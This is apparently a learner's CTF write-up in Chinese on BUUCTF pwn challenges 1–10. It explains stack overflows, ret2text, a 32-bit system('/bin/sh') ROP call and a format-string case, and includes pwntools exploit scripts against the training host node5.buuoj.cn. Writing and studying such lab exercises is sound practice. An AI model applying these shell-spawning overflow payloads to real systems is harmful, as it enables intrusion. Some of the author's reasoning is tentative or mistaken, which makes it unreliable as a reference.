BUUCTF PWN刷题笔记(1-9)
才知道,由于栈对齐,直接动调看栈估计会错,用cyclic看
1.test_your_nc
NC连接一下,这个网站似乎直接访问是不中的,怀疑是没开启web的端口。NC链接输入cat flag就OK了,应该只是让我这样的小菜鸟培养自信用的。
2.rip
checksec后发现可以进行栈溢出操作。运行一下看看。直接就是让输入东西。进IDA看看。
果然有后门函数。显然是ret2text类型,直接进行溢出即可。分析栈结构易知首先要溢出15+8个字节才可以到rip地方。
这是动调结果。看到-008那个地方村的实际上是字符串的结尾应该。看出其中距离80-70=16.但是实际上不应该是s占15吗,我也是百思不得其解。回想起课程来看,应该是GDB本身的地址可能有时候有误差,还是要结合IDA来看。
由于不擅长动调拿地址,这里就不献丑了,再学习学习吧。看IDA是可以直接看出溢出的。
exp:
这里需要考虑站平衡,看有的人说是BUUCTF虚拟机的规定。我现在简单的理解就是不破坏栈帧结构,即不要执行push之类的操作改变栈帧。
from pwn import *p=remote('node5.buuoj.cn',27494)payload=b'A'*(23)+p64(0x0401186)p.sendline(payload)p.interactive()
3.warmup_csaw_2016
可以进行栈溢出,而且还是栈可执行!
看到后门函数,而且main函数执行完毕自动执行gets函数。现在就很明确了。
这次挑战用动调拿到偏移量。看到0x61是我们输入的a的ASCII码,结合rax常用来储存这类信息,很明确最后的gets函数输入的内容就在这里了。那么我们就可以进行栈溢出,偏移量首先+64+8,最后溢出地址考虑一下站平衡即可。
exp:
from pwn import *p=remote('node5.buuoj.cn',27676)payload=b'A'*(64+8)+p64(0x00400611)p.sendline(payload)p.interactive()
4.ciscn_2019_n_1
看到了别人的博客,决定先解决这一道题。由于对动调还不熟练,所以我在IDA里面看了栈结构,同时注意到没有开启任何保护,发现可以进行栈溢出,应该是修改指定变量值为要求的即可。这里要注意一点,也是我出错的地方,float类型不可以直接跟字符串,需要转为16进制后用p64这个函数进行解决。
以下是常规思路(sendline会发送一个回车,表示输出结束)
from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()
还有一种方法,覆盖EIP的值,直接跳转到bin/sh,看看可以不。看图,我们需要溢出到r,显然需要将s也覆盖了。看灰色地址,8是r的开始,所以我们要覆盖上面的0x30和下面的8.返回地址恰好就是给system函数给参数的,见图二
exp:
from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*56+p64(0x04006BE)
p.sendline(payload)
p.interactive()
5.pwn1_sctf_2016
还是先检查保护发现可以栈溢出。
调用了这一坨函数,看着很差劲。 让豆包逐行解释吧。最后也是勉强看懂一点点,这个里面的代码豆包说也不符合规范什么的,勉强着看吧。
std::allocator
是 C++ 标准库中的一个模板类,定义在 <memory>
头文件中,主要用于为容器(如 std::vector
、std::list
等)或其他需要动态内存分配的对象管理内存的分配和释放。
这题也有后门函数,显然是用栈溢出了,关键就是看fgets这个函数。我们IDA看栈帧,大胆推测只要一直往下溢出就行,看空间一共是0x3c,然后传入返回地址。看样子这样做没问题,试试吧。
从运行结果看,edata确实是缓冲区,但是估计地址计算出错,动调看看即可。
rax这里存的是字符串。看样子字符串距离ebp60,ebp自己是4,我们再次修改脚本运行看。还是错误的。估计还是拿错地址了,我们继续动调一次。这次让他多运行几行代码。
看样子变化还是不多大,仔细想一想,难道是地址找错了。 看一下其他人的WP吧。
从题海中入门(五)pwn1_sctf_2016 - FreeBuf网络安全行业门户
(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客园
其实,replace函数实现了将I替换为you,这里可以后期动调得到。实际上,fgets函数已经限制了读取的字节数,这可不像gets函数那样危险!
接下来,我们开始编写脚本。一个I会换成3个字节,60个字节除以3,就是20,也就是0x14!对于函数,还是看不太透彻,还需要多多练习。
exp:
from pwn import *p=remote('node5.buuoj.cn',29365)payload=b'I'*(0x14)+b'AAAA'+p32(0x08048F13)p.sendline(payload)p.interactive()
6.jarvisoj_level0
咋一看感觉很简单呀,这脆弱函数比上面的第五题容易多了。
exp:
from pwn import *p=remote('node5.buuoj.cn',29231)payload=b'I'*(128+8)+p64(0x040059A)p.sendline(payload)p.interactive()
7.[第五空间2019 决赛]PWN5
首先分析main函数。
注意看,解锁/bin/sh必须保证4字节的数是对上号的。但是这四字节的数字我们并不知道,也不可能在人家服务器上动调获得,那怎么办嘛?
参考c929_bt大佬的博客(BUU:[第五空间2019 决赛]PWN5_buuctf 第五空间2019 pwn5-CSDN博客发现,原来可以利用栈溢出覆盖这串数字。这样就可以为我们所操控了。
恰好看栈结构,nptr在buf上面,所以我们溢出后也不影响nptr的输入,真是美滋滋。推测4字节的Var_c是校验值。整体思路是首先填充0x70-0xd个垃圾数据给buf,然后填充4个有效字符给校验值,最后输入对应的校验值就可以了。现在开始写脚本
首次尝试发现不对,那说明我们的思路错误了。可能那个地方不是校验值。
实际上有栈保护,无法溢出。
其实这里要用格式化字符串漏洞,详见c929_bt大佬的博客BUU:[第五空间2019 决赛]PWN5_buuctf 第五空间2019 pwn5-CSDN博客
8. jarvisoj_level2
估计也可以栈溢出,进去看看。
这道题有意思,只给了system函数,参数却不是/bin/sh,所以我们应该需要使用函数参数入栈的知识。ROPgadget我这边扫不出来东西,那估计不是ROP。想想咋给/bin/sh入栈。。。
没思路了,求救WP。以及参考了hello-ctf。发现其实32位ROP不需要pop链条。
BUUCTF—jarvisoj_level2 - 予柒 - 博客园
WP:在我的攻防世界BLOG里面有原题。
from pwn import *
p=remote('node5.buuoj.cn',28501)
sys=0x8048320
binsh=0x804A024
payload=b'a'*(0x88+0x4)+p32(sys)+b'aaaa'+p32(binsh)
p.sendline(payload)
p.interactive()
9.ciscn_2019_n_8
思路同第四题。
from pwn import *
p=remote('node5.buuoj.cn',29557)
payload=b'A'*13*4+p64(0x11)
p.sendline(payload)
p.interactive()
10.bjdctf_2020_babystack
看样子是栈溢出。 分析下列代码可知,read会读取我们输入的指定字节的数据,这点就是突破,而程序已经有一个backdoor函数,只需要ret2text即可。发现IDA给的偏移量有一点问题,还是动调。
exp:
from pwn import *
p=remote('node5.buuoj.cn',28997)
addr=0x4006EA
payload=b'a'*24+p64(addr)
p.sendline('100')
p.sendline(payload)
p.interactive()